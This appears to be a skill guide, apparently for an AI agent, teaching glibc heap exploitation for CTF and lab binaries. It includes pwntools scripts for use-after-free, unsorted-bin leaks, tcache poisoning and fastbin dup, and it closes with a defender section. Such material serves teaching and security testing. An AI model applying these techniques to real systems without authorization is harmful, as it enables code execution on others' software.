Heap exploitation abuses the allocator's own bookkeeping: freed chunks are linked into lists (bins), and corrupting those links lets you write to chosen addresses or leak libc pointers. It is harder than stack exploitation because success depends on exact heap layout, but the bug classes are common in real software. This skill covers glibc heap internals and the standard authorized techniques: use-after-free, heap overflow, tcache poisoning, fastbin attacks, and unsorted bin leaks. All exploitation targets binaries you have written permission to test, such as CTF challenges or lab systems.
Quick Workflow
- Identify the heap bug class: use-after-free, heap overflow, double free, or uninitialized use, by reading the binary.
- Learn the allocator version: glibc version decides tcache behavior and safe-linking.
- Map the heap layout: allocate, free, and observe chunk addresses and bin contents in GDB.
- Get a leak: unsorted bin fd pointer reveals a libc address, defeating ASLR.
- Get a write: corrupt a freelist pointer (tcache poisoning) to make malloc return an attacker-chosen address.
- Turn the write into control: overwrite a function pointer, a GOT
entry, or
__malloc_hook/__free_hookon older glibc. - Verify the exploit end to end against the remote service with the correct libc.
1. Learn the heap layout
You cannot exploit what you cannot see. Drive the binary's allocate and free operations while watching the heap in GDB.
gdb -q ./heapvuln
# (gdb) break main
# (gdb) run
# Allocate two chunks through the program's menu, then inspect:
# (gdb) x/40gx <heap_base> # raw chunk view
# (gdb) info proc mappings # find the heap segment base
A glibc chunk on 64-bit looks like this in memory:
+0x00: prev_size (8 bytes, only valid if previous chunk is free)
+0x08: size (8 bytes, low 3 bits are flags: PREV_INUSE, IS_MMAPPED, NON_MAIN_ARENA)
+0x10: user data starts here (fd/bk pointers live here when the chunk is free)
Key facts to internalize:
- Chunk sizes are 16-byte aligned; request 24 bytes and you get a 32-byte chunk (0x20).
- The
sizefield's lowest bit (PREV_INUSE) says whether the previous chunk is in use; corrupting sizes confuses the allocator. - A freed chunk's first 16 bytes of user data become forward (fd) and backward (bk) pointers into the bin list.
Check the glibc version, because tcache rules changed across releases:
# Version from the linked libc
strings ./libc.so.6 | grep -m1 'GNU C Library'
# Or ask the loader
/lib/x86_64-linux-gnu/libc.so.6 | head -1
2. Use-after-free (UAF)
A use-after-free happens when the program keeps a pointer to a freed chunk and lets you read or write through it. The freed chunk sits in tcache with its fd pointer exposed, so writing through the dangling pointer overwrites the freelist link.
Typical CTF pattern: allocate object A (contains a function pointer), free A, allocate object B of the same size (reuses A's memory), write attacker data through the dangling A pointer into B's function pointer slot.
#!/usr/bin/env python3
from pwn import *
p = process('./heapvuln')
# Menu-driven example: 1=alloc, 2=free, 3=write, 4=trigger
p.sendlineafter(b'> ', b'1') # alloc A (size 0x20, has function ptr)
p.sendlineafter(b'> ', b'2') # free A -> goes to tcache
p.sendlineafter(b'> ', b'3') # write through dangling pointer
p.send(b'A' * 0x18 + p64(0x401234)) # overwrite function pointer with win()
p.sendlineafter(b'> ', b'4') # trigger the function pointer call
p.interactive()
Confirm the UAF in GDB: after free, the pointer still points at a tcache chunk, and the write lands on the fd slot. If the program nulls the pointer on free, there is no UAF; look for a different path.
3. Unsorted bin leak: defeating ASLR
Free a large chunk (bigger than tcache's max, default 0x408) and it
lands in the unsorted bin, whose fd/bk pointers aim into libc's
main_arena. Reading those pointers leaks a libc address.
# Allocate a 0x500 chunk, free it, then read the dangling pointer
p.sendlineafter(b'> ', b'1') # alloc index 0, size 0x500
p.sendlineafter(b'> ', b'2') # free index 0 -> unsorted bin
p.sendlineafter(b'> ', b'5') # show/print index 0 (UAF read)
p.recvuntil(b'data: ')
leak = u64(p.recv(6).ljust(8, b'\x00'))
print("main_arena leak:", hex(leak))
libc.address = leak - 0x219ce0 # offset of main_arena+96, VERIFY per libc
The offset from the leaked pointer to libc base differs per libc build. Find it for your exact libc:
# Find main_arena offset in the target libc
gdb -q -ex 'p &main_arena' --batch ./libc.so.6 2>/dev/null
# Or compute: leaked value points at main_arena+96 typically
Always verify the computed libc base by leaking a second known symbol
(for example, print the address of puts from the GOT and compare).
One wrong offset silently breaks every later stage.
4. Tcache poisoning: arbitrary allocation
Tcache is a per-thread cache of recently freed chunks, checked before bins. Corrupting a tcache fd pointer makes the next malloc of that size return any address you choose.
Requirements: a UAF write or heap overflow that lets you overwrite the fd pointer of a freed tcache chunk. On glibc 2.32 and later, safe-linking mangles the fd pointer, so you must encode it correctly.
# Safe-linking: stored fd = (pos >> 12) ^ target
def protect(pos, ptr):
return (pos >> 12) ^ ptr
# Poison tcache so the next malloc(0x20) returns target_addr
p.sendlineafter(b'> ', b'1') # alloc A size 0x20
p.sendlineafter(b'> ', b'1') # alloc B size 0x20 (guard against consolidation)
p.sendlineafter(b'> ', b'2') # free A -> tcache[0x20]
# Overwrite A's fd via UAF/overflow: fd = protect(heap_addr_of_A, target)
p.sendlineafter(b'> ', b'3')
p.send(p64(protect(heap_A, target_addr)))
p.sendlineafter(b'> ', b'1') # alloc C: returns A again
p.sendlineafter(b'> ', b'1') # alloc D: returns target_addr (!)
p.sendlineafter(b'> ', b'3') # write to D == write to target_addr
p.send(p64(win_addr))
Classic targets for the arbitrary write:
- A function pointer in a heap object (immediate control).
- A GOT entry (redirect the next call of that function). Needs a libc leak to find the GOT on PIE binaries, or no-PIE for fixed addresses.
__free_hook(glibc before 2.34): overwrite withsystem, then free a chunk containing/bin/sh.
On glibc 2.34 and later, __malloc_hook and __free_hook are gone.
Modern targets use GOT overwrite, function pointers, or
__tls/_IO_list_all techniques, which are advanced follow-ups.
5. Fastbin dup (older technique, still tested)
Double-free a fastbin chunk to put the same chunk in the freelist twice, then allocate it twice to get two overlapping pointers.
# Fastbins apply to small chunks; double-free protections exist since
# glibc 2.29 for identical consecutive frees, so interleave another free:
# free(A); free(B); free(A) -> freelist: A -> B -> A
p.sendlineafter(b'> ', b'1') # alloc A 0x20
p.sendlineafter(b'> ', b'1') # alloc B 0x20
p.sendlineafter(b'> ', b'2') # free A (idx 0)
p.sendlineafter(b'> ', b'2') # free B (idx 1)
p.sendlineafter(b'> ', b'2') # free A again (idx 0): dup
# Now allocations return A, B, A: write to the second A to corrupt fd
Modern glibc added double-free detection (free(): double free detected in tcache 2), so this pattern now aborts unless the binary
uses an older libc. Know it for CTFs that pin old libc versions, but
default to tcache poisoning on current targets.
6. Heap overflow into metadata
If you can write past the end of a chunk, corrupt the next chunk's
size and prev_size to trick free or malloc into attacker-chosen
behavior. The textbook target is shrinking the next chunk's size so a
later allocation overlaps it.
# Overflow chunk A into chunk B's header: set B's prev_size and size,
# clear PREV_INUSE, then free A to trigger backward consolidation
# into a fake chunk you fully control
This is fiddly and version-sensitive. In practice, prefer UAF and
tcache poisoning when the binary offers them; attempt metadata
corruption only when the overflow is the sole primitive. Verify every
step in GDB: one wrong size bit and the allocator aborts with
malloc(): corrupted top size instead of cooperating.
Edge cases
- The binary uses a custom allocator or static linking with an unusual libc. Identify it first; musl and jemalloc heaps behave nothing like glibc.
- Tcache is full or disabled (some binaries call
mallopt). The freed chunk goes to fastbins or unsorted bin instead; adjust the technique to the actual bin. - Safe-linking defeats naive fd overwrite. You need a heap address leak to compute the mangled pointer, which usually comes free with the UAF read primitive.
- The leak gives you a heap address but not libc. Pair a heap leak with an unsorted bin leak: heap leak for safe-linking math, libc leak for GOT and system addresses.
- The program crashes with
malloc(): unaligned tcache chunk detected. Your target address was not 16-byte aligned. Align it. - Remote heap layout differs from local. Environment variables shift addresses; keep leaks dynamic (compute everything from leaked values at runtime) rather than hardcoding.
Escalation
- No leak primitive exists: look for partial overwrites. Overwriting one byte of a heap pointer can redirect a chunk within the same 256-byte region, sometimes enough without any leak.
- Tcache poisoning is blocked by full safe-linking and no heap leak:
attack
FILEstructures (_IO_list_all) or thread-local storage, which need only a libc leak and an arbitrary write. - The binary has no UAF but has a heap overflow: consolidate into the top chunk or use the House of series techniques; these are advanced and each deserves dedicated study beyond this skill.
- Everything is modern and hardened: step back and re-audit. Heap bugs often come in pairs, and the second bug (an info leak) is usually easier than forcing the first bug to do everything.
Detection and defender view
Defenders detect heap exploitation through allocator abort messages
(corrupted double-linked list, double free detected) in crash
logs, and through repeated crashes from one source during exploit
development. Durable mitigations are safe-linking (on by default in
modern glibc), pointer authentication on ARM, and, at the source
level, nulling pointers after free, using checked containers, and
fuzzing allocation-heavy parsers. For developers, the single highest
value habit is treating every free as the end of the pointer's life:
set it to NULL immediately and the use-after-free class shrinks
dramatically.
Key references
- CWE-416 (Use After Free).
- CWE-122 (Heap-based Buffer Overflow).
- CWE-415 (Double Free).
- CWE-787 (Out-of-bounds Write).
- MITRE ATT&CK T1068 (Exploitation for Privilege Escalation).
- glibc malloc internals: https://sourceware.org/glibc/wiki/MallocInternals
- pwntools documentation: https://docs.pwntools.com/
